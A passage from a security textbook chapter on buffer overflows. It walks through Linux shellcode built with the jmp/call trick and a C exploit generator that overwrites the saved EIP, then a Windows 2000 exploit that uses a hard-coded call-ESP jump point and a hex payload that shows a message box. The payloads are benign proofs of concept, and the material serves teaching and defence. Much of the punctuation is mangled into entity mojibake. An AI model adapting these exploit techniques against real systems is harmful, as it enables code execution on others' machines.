architecture we&iexcl;&brvbar;re operating on. For our example, it&iexcl;&brvbar;s Intel x86.
(gdb) disas main
Dump of assembler code for function main:
0x80481e0 <main>: push %EBP
0x80481e1 <main+1>: mov %ESP,%EBP
0x80481e3 <main+3>: sub $0x8,%ESP
0x80481e6 <main+6>: sub $0x4,%ESP
0x80481e9 <main+9>: push $0x9
0x80481eb <main+11>: push $0x808e248
0x80481f0 <main+16>: push $0x1
0x80481f2 <main+18>: call 0x804cc60 <__libc_write>
0x80481f7 <main+23>: add $0x10,%ESP
0x80481fa <main+26>: leave
0x80481fb <main+27>: ret
End of assembler dump.
(gdb)
The following is the actual code that runs write.We push the arguments to
the write() function in reverse order onto the stack. First we type push $0x9( $0x
signifies hexadecimal in gdb), where the value 9 represents the length of our
string &iexcl;§EXAMPLE\n&iexcl;&uml;.Then we type push $0x808e248, which pushes the
address of the string &iexcl;§EXAMPLE\n&iexcl;&uml; onto the stack.To see what&iexcl;&brvbar;s at that address,
we can type the following from the (gdb) prompt: x/s 0x808e248.The final step
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 285
before calling write is to push the file descriptor onto the stack; in this case it&iexcl;&brvbar;s 1,
or standard output. Now we call write.
0x80481e9 <main+9>: push $0x9
0x80481eb <main+11>: push $0x808e248
0x80481f0 <main+16>: push $0x1
0x80481f2 <main+18>: call 0x804cc60 <__libc_write>
Let&iexcl;&brvbar;s see what write is doing. Do a disas __libc_write at the gdb prompt.You
should see something similar to the following.
(gdb) disas __libc_write
Dump of assembler code for function __libc_write:
0x804cc60 <__libc_write>: push %EBX
0x804cc61 <__libc_write+1>: mov 0x10(%ESP,1),%EDX
0x804cc65 <__libc_write+5>: mov 0xc(%ESP,1),%ECX
0x804cc69 <__libc_write+9>: mov 0x8(%ESP,1),%EBX
0x804cc6d <__libc_write+13>: mov $0x4,%EAX
0x804cc72 <__libc_write+18>: int $0x80
0x804cc74 <__libc_write+20>: pop %EBX
0x804cc75 <__libc_write+21>: cmp $0xfffff001,%EAX
0x804cc7a <__libc_write+26>: jae 0x8052bb0 <__syscall_error>
0x804cc80 <__libc_write+32>: ret
End of assembler dump.
The initial &iexcl;§push %EBX&iexcl;&uml; is not really important to us, write is just saving on
the stack because we&iexcl;&brvbar;re going to need to change EBX, when we&iexcl;&brvbar;re done we can
get the value back by doing a &iexcl;§pop %EBX.&iexcl;&uml;We want to focus on the four mov
commands and the &iexcl;§int $0x80.&iexcl;&uml;The mov command just moves data. In this case
it&iexcl;&brvbar;s moving the data we previously pushed onto the stack in main.
To set up a write call, we first put our syscall number into the %EAX register.
When we execute int $0x80, the operating system looks at EAX and then runs
the code for the specified syscall.The write syscall is syscall number 4.The following
file will give a list of the available syscalls:&iexcl;§/usr/include/asm/unistd.h&iexcl;&uml;
0x804cc6d <__libc_write+13>: mov $0x4,%EAX
0x804cc72 <__libc_write+18>: int $0x80
www.syngress.com
286 Chapter 8 &iexcl;E Buffer Overflow
So let&iexcl;&brvbar;s sum up what we now know:We know that write needs three arguments,
a length of the data being written, the address of the string we want to
write, and the destination of our write (the file descriptor).We also now know
that the string length, 9 in this case, has to be in the EDX register, the address of
the string we want to write has to be in the ECX register, and the file descriptor
has to be in the EBX.
So basically our simple write() without any error handling does this:
mov $0x9,%EDX
mov 0x808e248,%ECX
mov $0x1,%EBX
mov $0x4,%EAX
int $0x80
So now we know what a write looks like in assembly we can make our shellcode.
The only problem is the second operand sequence, or to be specific,&iexcl;§mov
0x808e248,%ECX.&iexcl;&uml;The problem with this is that we can&iexcl;&brvbar;t have the address of
the string without it being in memory; and without the address, we can&iexcl;&brvbar;t get to
the string. In this case we do a jmp/call: when you execute a call, the address of
the next instruction is pushed onto the stack. for example, if we do the following:
jump <string>
code:
pop %ECX
string:
call <code>
"our string\n"
The call pushes the address of the next instruction onto the stack (the next
instruction down is actually a string). But the call actually doesn&iexcl;&brvbar;t know the difference.
So now the address of our string\n is on top of the stack. After the jump
we&iexcl;&brvbar;re at the pop %ECX instruction.The pop instruction just pops the top item off
of the stack into the specified register, in this case ECX. Now we have the
address of our string\n in the ECX.The last thing we need to do is verify that the
registers are clean.We do this by XORing or SUBing them out.We&iexcl;&brvbar;ve chosen
XOR because it will always zero out a register and makes for very compact code
and we need to zero out our registers so that we can work with a clean register.
Our syscalls use the low bytes of our registers for their arguments, so by zeroing
registers out, we can work with only what we need. Our final shellcode is:
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 287
jump string
code:
pop %ECX
xor %EBX, %EBX
xor %EDX, %EDX
xor %EAX, %EAX
mov $0x9,%EDX
mov $0x1,%EBX
mov $0x4,%EAX
int $0x80
string:
call code
"EXAMPLE\n"
Now that we have our shellcode ready we need to exploit the example program
so it redirects its flow of execution into our shellcode.This can be done by
overwriting the saved EIP with the address of our shellcode. So when bof()
attempts to return (ret) to main, it will pop the saved EIP and attempt a jmp to the
address specified there. But where in memory will our shellcode be located? More
specifically, what address should we choose to overwrite the saved EIP with?
When fread reads the data from the file it will place it into on the stack, char
buffer[8] to be specific. So we know that the payload we will put into the file will
end up on stack.With Unices, the stack will start at the same address for every
program. All we have to do is write a test program to get the address from the
start of the stack.
When a function finishes, it places its return value into the EAX, so the
calling function knows if the function&iexcl;&brvbar;s execution was successful.
$ cat ret.c
int main()
{
return(0);
}
$ gcc ret.c -o ret
$ gdb ./ret
(gdb) disas main
Dump of assembler code for function main:
www.syngress.com
288 Chapter 8 &iexcl;E Buffer Overflow
0x8048430 <main>: push %EBP
0x8048431 <main+1>: mov %ESP,%EBP
0x8048433 <main+3>: mov $0x0,%EAX <---- here it is
0x8048438 <main+8>: pop %EBP
0x8048439 <main+9>: ret
0x804843a <main+10>: mov %ESI,%ESI
0x804843c <main+12>: nop
0x804843d <main+13>: nop
0x804843e <main+14>: nop
0x804843f <main+15>: nop
End of assembler dump.
(gdb)
So instead of doing a return(value), we skip it and put our ESP into EAX, that
way we can assign our ESP to a variable.
Here&iexcl;&brvbar;s the code to get our ESP:
-----------------get_ESP.c--------------
unsigned long get_ESP(void)
{
__asm__("movl %ESP,%EAX");
}
int main()
{
printf("ESP: 0x%x\n", get_ESP());
return(0);
}
-----------------get_ESP.c--------------
Now that we know where the stack starts, how can we exactly pinpoint
where our shellcode is going to be on the stack? Simple: we don&iexcl;&brvbar;t!
We just &iexcl;§pad&iexcl;&uml; our shellcode to increase its size so we can make a reasonable
guess.This is a type of NOP sled. In this case since we XOR all the registers at
the beginning of our payload we will need we can use operands that work with
those, as long as they don&iexcl;&brvbar;t attempt to access memory directly. For example the
operand inc %EAX, is the hex byte value 0x41, all it does is increment the value
of the EAX by one. Our shellcode does use the EAX but we clean it up first by
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 289
using XOR. So if we inc %EAX before the first operand of our shellcode, jmp,
everything will still work fine. In fact we can inc %EAX just about as much as
we want to. In this case,&iexcl;§inc %EAX&iexcl;&uml; is equivalent to a NOP. So we&iexcl;&brvbar;ll make our
shellcode 1000 bytes and pad everything up to the shellcode with 0x41, or &iexcl;&uml;inc
%EAX.&iexcl;&uml;
The OFFSET defined in the exploit is just a guessed area where our shellcode
should be. So in this case we try &iexcl;§ESP+1500.&iexcl;&uml;
Here&iexcl;&brvbar;s our exploit and final shellcode:
#include <stdlib.h>
#include <stdio.h>
/***** Shellcode dev with GCC *****/
int main() {
__asm__("
jmp string # jump down to <string:>
This is where the actual payload begins. First we clear the registers we will be
using so the data in them doesn&iexcl;&brvbar;t interfere with our shellcode&iexcl;&brvbar;s execution code:
xor %EBX, %EBX
xor %EDX, %EDX
xor %EAX, %EAX
# Now we are going to set up a call to the write
# function. What we are doing is basically:
# write(1,EXAMPLE!\n,9);
# Syscall reference: /usr/include/asm/unistd.h
#
# write : syscall 4
#
Nearly all syscalls in Linux need to have their arguments in registers, the
<write> syscall needs the following:
 ECX:Address of the data being written
 EBX: File descriptor, in this case stdout
 EDX: Length of data
www.syngress.com
290 Chapter 8 &iexcl;E Buffer Overflow
Now we move the file descriptor we want to write to into EBX. In this case
it&iexcl;&brvbar;s 1, or STDOUT:
popl %ECX # %ECX now holds the address of our string
mov $0x1, %EBX
Next we move the length of the string into the lower nibble of the %EDX
register:
movb $0x09, %dl
Before we do an <int 80> and trigger the syscall execution, we need to let
the OS know which syscall we want to execute.We do this by placing the syscall
number into the lower byte of the %EAX register, %al:
movb $0x04, %al
Now we trigger the operating system to execute whatever syscall is provided
in %al.
int $0x80
The next syscall we want to execute is <exit>, or #syscall 1. Exit doesn&iexcl;&brvbar;t need
any arguments for our purpose here, so we just interrupt and get it over with.
movb $0x1, %al
int $0x80
string:
call code
A call pushes the address of the next instruction onto the stack and then does
a jmp to the specified address. In this case the next instruction after <call code>
is actually the location of our string EXAMPLE. So by doing a jump and then a
call, we can get an address of the data in which we&iexcl;&brvbar;re interested. So now we redirect
the execution back up to <code:>
.string \"EXAMPLE\n\"
");
Here is our complete exploit:
/****** Shellcode dev with GCC *****/
#include <stdlib.h>
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 291
#include <stdio.h>
char shellcode[] =
"\xeb\x16" /* jmp string */
"\x31\xdb" /* xor %EBX, %EBX */
"\x31\xd2" /* xor %EDX, %EDX */
"\x31\xc0" /* xor %EAX, %EAX */
"\x59" /* pop %ECX */
"\xbb\x01\x00\x00\x00" /* mov $0x1,%EBX */
"\xb2\x09" /* mov $0x9,%dl */
"\xb0\x04" /* mov $0x04,%al */
"\xcd\x80" /* int $0x80 */
"\xb0\x01" /* mov $0x1, %al */
"\xcd\x80" /* int $0x80 */
"\xe8\xe5\xff\xff\xff" /* call code */
"EXAMPLE\n"
;
#define VULNAPP "./bof"
#define OFFSET1500
unsigned long get_ESP(void)
{
__asm__("movl %ESP,%EAX");
}
main(int argc, char **argv)
{
unsigned long addr;
FILE *badfile;
char buffer[1024];
fprintf(stderr, "Using Offset: 0x%x\nShellcode Size:
%d\n",addr,sizeof(shellcode));
www.syngress.com
292 Chapter 8 &iexcl;E Buffer Overflow
addr = get_ESP()+OFFSET;
/* Make exploit buffer */
memset(&buffer,0x41,1024);
buffer[12] = addr & 0x000000ff;
buffer[13] = (addr & 0x0000ff00) >> 8;
buffer[14] = (addr & 0x00ff0000) >> 16;
buffer[15] = (addr & 0xff000000) >> 24;
memcpy(&buffer[(sizeof(buffer) &iexcl;V
sizeof(shellcode))],shellcode,sizeof(shellcode));
/* put it in badfile */
badfile = fopen("./badfile","w");
fwrite(buffer,1024,1,badfile);
fclose(badfile);
}
Here is a sample run of the exploit:
sh-2.04# gcc sample4.c -o sample4
sh-2.04# gcc exploit.c -o exploit
sh-2.04# ./exploit
Using Offset: 0x8048591
Shellcode Size: 38
sh-2.04# od -t x2 badfile
0000000 4141 4141 4141 4141 4141 4141 fc04 bfff
0000020 4141 4141 4141 4141 4141 4141 4141 4141
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 293
*
0001720 4141 4141 4141 4141 4141 16eb db31 d231
0001740 c031 bb59 0001 0000 09b2 04b0 80cd 01b0
0001760 80cd e5e8 ffff 45ff 4158 504d 454c 000a
0002000
sh-2.04# ./sample4
EXAMPLE
sh-2.04#
In the first two lines beginning with &iexcl;§gcc&iexcl;&uml;, we&iexcl;&brvbar;re compiling our vulnerable
program, named sample4.c, and the program named exploit.c, that generates our
special &iexcl;§badfile.&iexcl;&uml; Running the exploit displays the offset for this system, and the
size of our payload. Behind the scenes, it also creates the &iexcl;§badfile,&iexcl;&uml; which the vulnerable
program will read. Next, we show the contents of the badfile using octal
dump (od), telling it to display in hex. By default, this version of od will abbreviate
repeated lines with a &iexcl;§*&iexcl;&uml;, so the 0x41 NOP sled between the lines 0000020
and 0001720 are not displayed. Finally, we show a sample run on the victim program,
sample4, which prints EXAMPLE. If you look back, you&iexcl;&brvbar;ll notice that that
never appears in the victim program, but rather in our exploit.This demonstrates
that the exploit attempt was successful.
Performing the Exploit on Windows NT
We will now examine the exploitation of this bug on Windows NT.Most of
these concepts apply to all win32 platforms, however there are some differences
between the platforms and not all techniques are applicable on every platform.
This example was written and tested using windows 2000, service pack 2. It may
work on other platforms, but due to the necessary simplicity of this exploit, I
won&iexcl;&brvbar;t guarantee it.Techniques to exploit multiple platforms will be covered in
more detail later in the chapter.
www.syngress.com
294 Chapter 8 &iexcl;E Buffer Overflow
Windows makes possible a wide variety of exploitation techniques; this
example exploit will examine a few of the more simple ways that you can exploit
this vulnerable program. Because of space constraints, we will be making this a
non-portable buffer overflow example.The code we will develop will run on
Windows 2000, SP2 out of the box, and recompile on just about any platform
with little trouble.
For this example we have chosen to pop up a message box and have it display
the text &iexcl;§HI&iexcl;&uml;.
We will cover all three aspects of exploitation:
 Creating an injector
 Building the exploit
 Finding a jump point
 Writing a simple payload
Creating the Injector
Since we know that this vulnerability reads in a buffer from a file, we assume that
our injection vector is file based.We also know that the vulnerable program is
reading in binary data.This gives us the benefit of not having to worry about
null bytes in our shellcode, because it is not a string operation overflow.This
enables us to create a simple injector that writes our shellcode to a file that we
can feed into our vulnerable program in order to inject our exploit code into the
buffer.
Writing code to write a file is pretty simple in Windows NT.We basically use
the CreateFile(), WriteFile() and CloseHandle() API calls to open the file, write our
code to it, then close the file. Our exploit code is contained in the buffer named
writeme.
The code to open the file and write it out looks like this:
//open the file
file=CreateFile("badfile",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
//write our shellcode to the file
WriteFile(file,writeme,65,&written,NULL);
CloseHandle(file);
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 295
Building the Exploit
Since we examined the stack of a compiled program, we know that to take control
of the EIP register, we must overwrite the 8 bytes of the buffer, then 4 bytes
of a saved EBP register, and then 4 bytes of saved EIP.This means that we have
12 bytes of filler that must be filled with something. In this case, we&iexcl;&brvbar;ve chosen to
use 0x90, which is the hex value for the Intel NOP operation.This is an implementation
of a NOP sled, but we won&iexcl;&brvbar;t need to slide in this case because we
know where we need to go and can avoid it.This is just filler that we can use to
overwrite the buffer and EBP on the stack.We set this up using the memset() C
library call to set the first 12 bytes of the buffer to 0x90.
memset(writeme,0x90,12); //set my local string to nops
Finding a Jump Point
Next, we need to write out where we want the EIP to go. As mentioned before,
there are numerous ways to get the EIP to point to our code.Typically, I put a
debugging break point at the end of the function that returns, so I can see what
the state of the registers are when we are right before the vulnerable functions ret
instruction. In examining the registers in this case:
EAX = 00000001 EBX = 7FFDF000
ECX = 00423AF8 EDX = 00000000
ESI = 00000000 EDI = 0012FF80
ESP = 0012FF30 EBP = 90909090
We notice that the ESP points right into the stack, right after where the saved
EIP should be. After this ret, the ESP will move up 4 bytes and what is there
should be moved to the EIP. Also, control should continue from there.This means
that if we can get the contents of the ESP register into the EIP, we can execute
code at that point. Also notice how in the function epilogue, the saved EBP was
restored, but this time with our 0x90 string instead of its original contents.
So now we examine the memory space of the attacked program for useful
pieces of code that would allow us to get the EIP register to point to the ESP.
Since we have already written findjmp, we&iexcl;&brvbar;ll use that to find an effective place to
get our ESP into the EIP.To do this effectively, we need to see what DLLs are
imported into our attacked program and examine those loaded DLLs for potentially
vulnerable pieces of code.To do this, we could use the depends.exe program
www.syngress.com
296 Chapter 8 &iexcl;E Buffer Overflow
that ships with visual studio, or the dumpbin.exe utility that will allow you to
examine a program&iexcl;&brvbar;s imports.
In this case, we will use dumpbin for simplicity, since it can quickly tell us
what we need.We will use the command line:
dumpbin /imports samp4.exe
Microsoft (R) COFF Binary File Dumper Version 5.12.8078
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
Dump of file samp4.exe
File Type: EXECUTABLE IMAGE
Section contains the following imports:
KERNEL32.dll
426148 Import Address Table
426028 Import Name Table
0 time date stamp
0 Index of first forwarder reference
26D SetHandleCount
174 GetVersion
7D ExitProcess
1B8 IsBadWritePtr
1B5 IsBadReadPtr
1A7 HeapValidate
11A GetLastError
1B CloseHandle
51 DebugBreak
152 GetStdHandle
2DF WriteFile
1AD InterlockedDecrement
1F5 OutputDebugStringA
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 297
13E GetProcAddress
1C2 LoadLibraryA
1B0 InterlockedIncrement
124 GetModuleFileNameA
218 ReadFile
29E TerminateProcess
F7 GetCurrentProcess
2AD UnhandledExceptionFilter
B2 FreeEnvironmentStringsA
B3 FreeEnvironmentStringsW
2D2 WideCharToMultiByte
106 GetEnvironmentStrings
108 GetEnvironmentStringsW
CA GetCommandLineA
115 GetFileType
150 GetStartupInfoA
19D HeapDestroy
19B HeapCreate
19F HeapFree
2BF VirtualFree
22F RtlUnwind
199 HeapAlloc
1A2 HeapReAlloc
2BB VirtualAlloc
27C SetStdHandle
AA FlushFileBuffers
241 SetConsoleCtrlHandler
26A SetFilePointer
34 CreateFileA
BF GetCPInfo
B9 GetACP
131 GetOEMCP
1E4 MultiByteToWideChar
153 GetStringTypeA
www.syngress.com
298 Chapter 8 &iexcl;E Buffer Overflow
156 GetStringTypeW
261 SetEndOfFile
1BF LCMapStringA
1C0 LCMapStringW
Summary
3000 .data
1000 .idata
2000 .rdata
1000 .reloc
20000 .text
This shows that the only linked DLL loaded directly is kernel32.dll.
Kernel32.dll also has dependencies, but for now, we will just use that to find a
jump point.
Next, we load findjmp, looking in kernel32.dll for places that can redirect us
to the ESP.We run it as follows:
findjmp kernel32.dll ESP
And it tells us:
Scanning kernel32.dll for code useable with the ESP register
0x77E8250A call ESP
Finished Scanning kernel32.dll for code useable with the ESP register
Found 1 usable addresses
So we can overwrite the saved EIP on the stack with 0x77E8250A and when
the ret hits, it will put the address of a call ESP into the EIP.The processor will
execute this instruction, which will redirect processor control back to our stack,
where our payload will be waiting.
In the exploit code, we define this address as follows:
DWORD EIP=0x77E8250A; // a pointer to a
//call ESP in KERNEL32.dll
//found with findjmp.c
and then write it in our exploit buffer after our 12 byte filler like so:
memcpy(writeme+12,&EIP,4); //overwrite EIP here
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 299
Writing a Simple Payload
Finally, we need to create and insert our payload code. As stated before, we chose
to create a simple MessageBox that says &iexcl;§HI&iexcl;&uml; to us, just as a proof of concept. I
typically like to prototype my payloads in C, and then convert them to ASM.The
C code to do this is as follows:
MessageBox (NULL, "hi", NULL, MB_OK);
Typically, we would just recreate this function in ASM.You can use a disassembler
or debugger to find the exact ASM syntax from compiled C code.
We have one issue though; the MessageBox function is exported from
USER32.DLL, which is not imported into our attacked program, so we have to
force it to load itself.We do this by using a LoadLibraryA call. LoadLibraryA is the
function that WIN32 platforms use to load DLLs into a process&iexcl;&brvbar;s memory space.
LoadLibraryA is exported from kernel32.dll, which is already loaded into our DLL,
as the dumpbin output shows us. So we need to load the DLL, then call the
MessageBox, so our new code looks like:
LoadLibraryA("User32");
MessageBox(NULL, "hi", NULL, MB_OK);
We were able to leave out the &iexcl;§.dll&iexcl;&uml; on &iexcl;§user32.dll&iexcl;&uml; because it is implied, and
it saves us 4 bytes in our payload size.
Now the program will have user32 loaded (and hence the code for
MessageBox loaded), so the functionality is all there, and should work fine as we
translate it to ASM.
There is one last part that we do need to take into account, however: since
we have directly subverted the flow of this program, it will probably crash as it
attempts to execute the data on the stack after our payload. Since we are all polite
hackers, we should attempt to avoid this. In this case, it means exiting the process
cleanly using the ExitProcess() function call. So our final C code (before conversion
to assembly) is as follows:
LoadLibraryA("User32");
MessageBox(NULL, "hi", NULL, MB_OK);
ExitProcess(1);
We decided to use the inline ASM functionality of the visual C compiler to
create the ASM output of our program, and then just copied it to a BYTE buffer
for inclusion in our exploit.
www.syngress.com
300 Chapter 8 &iexcl;E Buffer Overflow
Rather than showing the whole code here, we will just refer you to the following
exploit program that will create the file, build the buffer from filler, jump
point, and payload, then write it out to a file.
If you wish to test the payload before writing it to the file, just uncomment
the small section of code noted as a test. It will execute the payload instead of
writing it to a file.
The following is a program that I wrote to explain and generate a sample
exploit for our overflowable function. It uses hard-coded function addresses, so it
may not work on a system that isn&iexcl;&brvbar;t running win2k sp2.
It is intended to be simple, not portable.To make it run on a different platform,
replace the #defines with addresses of those functions as exposed by
depends.exe, or dumpbin.exe, both of which ship with Visual Studio.
The only mildly advanced feature this code uses is the trick push.A trick push
is when a call is used to trick the stack into thinking that an address was pushed.
In this case, every time we do a trick push, we want to push the address of our
following string onto the stack.This allows us to embed our data right into the
code, and offers the added benefit of not requiring us to know exactly where our
code is executing, or direct offsets into our shellcode.
This trick works based on the fact that a call will push the next instruction
onto the stack as if it were a saved EIP intended to return to at a later time.We
are exploiting this inherent behavior to push the address of our string onto the
stack. If you have been reading the chapter straight through, this is the same trick
used in the Linux exploit.
Because of the built-in Visual Studio compiler&iexcl;&brvbar;s behavior, we are required to
use _emit to embed our string in the code.
#include <Windows.h>
/*
Example NT Exploit
Ryan Permeh, ryan@eeye.com
*/
int main(int argc,char **argv)
{
#define MBOX 0x77E375D5
#define LL 0x77E8A254
#define EP 0x77E98F94
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 301
DWORD EIP=0x77E8250A; // a pointer to a
//call ESP in KERNEL32.dll
//found with findoffset.c
BYTE writeme[65]; //mass overflow holder
BYTE code[49] ={
0xE8, 0x07, 0x00, 0x00, 0x00, 0x55,
0x53, 0x45, 0x52, 0x33, 0x32, 0x00,
0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF,
0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8,
0x03, 0x00, 0x00, 0x00, 0x48, 0x49,
0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75,
0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01,
0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF,
0xD0
};
HANDLE file;
DWORD written;
/*
__asm
{
call tag1 ; jump over(trick push)
_emit 0x55 ; "USER32",0x00
_emit 0x53
_emit 0x45
_emit 0x52
_emit 0x33
_emit 0x32
_emit 0x00
tag1:
// LoadLibrary("USER32");
mov EAX, LL ;put the LoadLibraryA address
in EAX
call EAX ;call LoadLibraryA
www.syngress.com
302 Chapter 8 &iexcl;E Buffer Overflow
push 0 ;push MBOX_OK(4th arg to mbox)
push 0 ;push NULL(3rd arg to mbox)
call tag2 ; jump over(trick push)
_emit 0x48 ; "HI",0x00
_emit 0x49
_emit 0x00
tag2:
push 0 ;push NULL(1st arg to mbox)
// MessageBox (NULL, "hi", NULL, MB_OK);
mov EAX, MBOX ;put the MessageBox
address in EAX
call EAX ;Call MessageBox
push 1 ;push 1 (only arg to
exit)
// ExitProcess(1);
mov EAX, EP ; put the ExitProcess
address in EAX
call EAX ;call ExitProcess
}
*/
/*
char *i=code; //simple test code pointer
//this is to test the code
__asm
{
mov EAX, i
call EAX
}
*/
/* Our overflow string looks like this:
[0x90*12][EIP][code]
The 0x90(nop)'s overwrite the buffer, and the saved EBP on the stack,
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 303
and then EIP replaces the saved EIP on the stack. The saved EIP is
replaced with a jump address that points to a call ESP. When call ESP
executes, it executes our code waiting in ESP.*/
memset(writeme,0x90,65); //set my local string to nops
memcpy(writeme+12,&EIP,4); //overwrite EIP here
memcpy(writeme+16,code,49); // copy the code into our temp buf
//open the file
file=CreateFile("badfile",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
//write our shellcode to the file
WriteFile(file,writeme,65,&written,NULL);
CloseHandle(file);
//we're done
return 1;
}
Learning Advanced Overflow Techniques
Now that basic overflow techniques have been explored, it is time to examine
some of the more interesting things you can do in an overflow situation. Some
of these techniques are applicable in a general sense; some are for specific situations.
Because overflows are becoming better understood in the programmer
community, sometimes it requires a more advanced technique to exploit a vulnerable
situation.
Input Filtering
Programmers have begun to understand overflows and are beginning to write
code that checks input buffers for completeness.This can cause attackers
headaches when they find that they cannot put whatever code they want into a
buffer overflow.Typically, only null bytes cause problems, but programmers have
begun to start parsing data so that it looks sane before attempting to copy it into
a buffer.
There are a lot of potential ways of achieving this, each offering a different
hurdle to a potential exploit situation.
www.syngress.com
304 Chapter 8 &iexcl;E Buffer Overflow
For example, some programmers have been verifying input values so that if
the input should be a number, it gets checked to verify that it is a number before
being copied to a buffer.There are a few standard C library calls that can verify
that the data is as it should be.A short table of some of the ones found in the
win32 C library follows.There are also wide character versions of nearly all of
these functions to deal in a Unicode environment.
int isalnum( int c ); checks if it is in A-Z,a-z,0-9
int isalpha( int c ); checks if it is in A-Z,a-z
int __isascii( int c ); checks if it is in 0x00-0x7f
int isdigit( int c ); checks if it is in 0-9
isxdigit( int c ); checks if it is in 0-9,A-F
Many UNIX C libraries also implement similar functions.
Custom exploits must be written in order to get around some of these filters.
This can be done by writing specific code, or by creating a decoder that encodes
the data into a format that can pass these tests.
There has been much research put into creating alphanumeric and low-
ASCII payloads; and work has progressed to the point where in some situations,
full payloads can be written this way.There have been MIME-encoded payloads,
and multibyte XOR payloads that can allow strange sequences of bytes to appear
as if they were ASCII payloads.
Another way that these systems can be attacked is by avoiding the input
check altogether. For instance, storing the payload in an unchecked environment
variable or session variable can allow you to minimize the amount of bytes you
need to keep within the bounds of the filtered input.
Incomplete Overflows and Data Corruption
There has been a significant rise in the number of programmers who have begun
to use bounded string operations like strncpy() instead of strcpy.These programmers
have been taught that bounded operations are a cure for buffer overflows.
however, it may come as a surprise to some that they are often implemented
wrong.
There is a common problem called an &iexcl;§off by one&iexcl;&uml; error, where a buffer is
allocated to a specific size, and an operation is used with that size as a bound.
However, it is often forgotten that a string must include a null byte terminator.
Some common string operations, although bounded, will not add this character,
effectively allowing the string to edge against another buffer on the stack with no
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 305
separation. If this string gets used again later, it may treat both buffers as one,
causing a potential overflow.
An example of this is as follows:
[buf1 - 32 bytes \0][buf2 - 32 bytes \0]
Now, if exactly 32 bytes get copied into buf1 the buffers now look like this:
[buf1 - 32 bytes of data ][buf2 - 32 bytes \0]
Any future reference to buf1 may result in a 64-byte chunk of data being
copied, potentially overflowing a different buffer.
Another common problem with bounds checked functions is that the bounds
length is either calculated wrong at runtime, or just plain coded wrong.This can
happen because of a simple bug, or sometimes because a buffer is statically allocated
when a function is first written, then later changed during the development
cycle. Remember, the bounds size must be the size of the destination buffer and
not that of the source. I have seen examples of dynamic checks that did a strlen()
of the source string for number of bytes that were copied.This simple mistake
invalidates the usefulness of any bounds checking.
One other potential problem with this is when a condition occurs in which
there is a partial overflow of the stack. Due to the way buffers are allocated on
the stack and bounds checking, it may not always be possible to copy enough
data into a buffer to overflow far enough to overwrite the EIP.This means that
there is no direct way of gaining processor control via a ret. However, there is still
the potential for exploitation even if you don&iexcl;&brvbar;t gain direct EIP control.You may
be writing over some important data on the stack that you can control, or you
may just get control of the EBP.You may be able to leverage this and change
things enough to take control of the program later, or just change the program&iexcl;&brvbar;s
operation to do something completely different than its original intent.
For example, there was a phrack (www.phrack.org) article written about how
changing a single byte of a stack&iexcl;&brvbar;s stored EBP may enable you to gain control of
the function that called you.The article is at www.phrack.org/show.php?p
=55&a=8 and is highly recommended.
A side effect of this can show up when the buffer you are attacking resides
near the top of the stack, with important pieces of data residing between your
buffer and the saved EIP. By overwriting this data, you may cause a portion of the
function to fail, resulting in a crash rather than an exploit.This often happens
when an overflow occurs near the beginning of a large function. It forces the rest
of the function to try to work as normal with a corrupt stack. An example of this
www.syngress.com
306 Chapter 8 &iexcl;E Buffer Overflow
comes up when attacking canary-protected systems.A canary-protected system is
one that places values on the stack and checks those values for integrity before
issuing a ret instruction to leave the function. If this canary doesn&iexcl;&brvbar;t pass inspection,
the process typically terminates. However, you may be able to recreate a
canary value on the stack unless it is a near-random value. Sometimes, static
canary values are used to check integrity. In this case, you just need to overflow
the stack, but make certain that your overflow recreates the canary to trick the
check code.
Stack Based Function Pointer Overwrite
Sometimes programmers store function addresses on the stack for later use.
Often, this is due to a dynamic piece of code that can change on demand.
Scripting engines often do this, as well as some other types of parsers. A function
pointer is simply an address that is indirectly referenced by a call operation.This
means that sometimes programmers are making calls directly or indirectly based
on data in the stack. If we can control the stack, we are likely to be able to control
where these calls happen from, and can avoid having to overwrite EIP at all.
To attack a situation like this, you would simply create your overwrite and
instead of overwriting EIP, you would overwrite the potion of the stack devoted
to the function call. By overwriting the called function pointer, you can execute
code similarly to overwriting EIP.You need to examine the registers and create
an exploit to suit your needs, but it is possible to do this without too much
trouble.
Heap Overflows
So far, this chapter has been about attacking buffers allocated on the stack.The
stack offers a very simple method for changing the execution of code, and hence
these buffer overflow scenarios are pretty well understood.The other main type
of memory allocation in a program is from the heap.The heap is a region of
memory devoted to allocating dynamic chunks of memory at runtime.
The heap can be allocated via malloc-type functions such as HeapAlloc(),
malloc(), and new(). It is freed by the opposite functions, HeapFree(), free(), and
delete(). In the background there is an OS component known as a Heap Manager
that handles the allocation of heaps to processes and allows for the growth of a
heap so that if a process needs more dynamic memory, it is available.
Heap memory is different from stack memory in that it is persistent between
functions.This means that memory allocated in one function stays allocated until
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 307
it is implicitly freed.This means that a heap overflow may happen but not be
noticed until that section of memory is used later.There is no concept of saved
EIP in relation to a heap, but there are other important things that often get
stored there.
Much like stack-based function pointer overflows, function pointers may be
stored on the heap as well.
Corrupting a Function Pointer
The basic trick to heap overflows is to corrupt a function pointer.There are
many ways to do this. First, you can try to overwrite one heap object from
another neighboring heap. Class objects and structs are often stored on the heap,
so there are usually many opportunities to do this.The technique is simple to
understand and is called trespassing.
Trespassing the Heap
In this example, two class objects are instantiated on the heap.A static buffer in
one class object is overflowed, trespassing into another neighboring class object.
This trespass overwrites the virtual-function table pointer (vtable pointer) in the
second object.The address is overwritten so that the vtable address points into
our own buffer.We then place values into our own Trojan table that indicate new
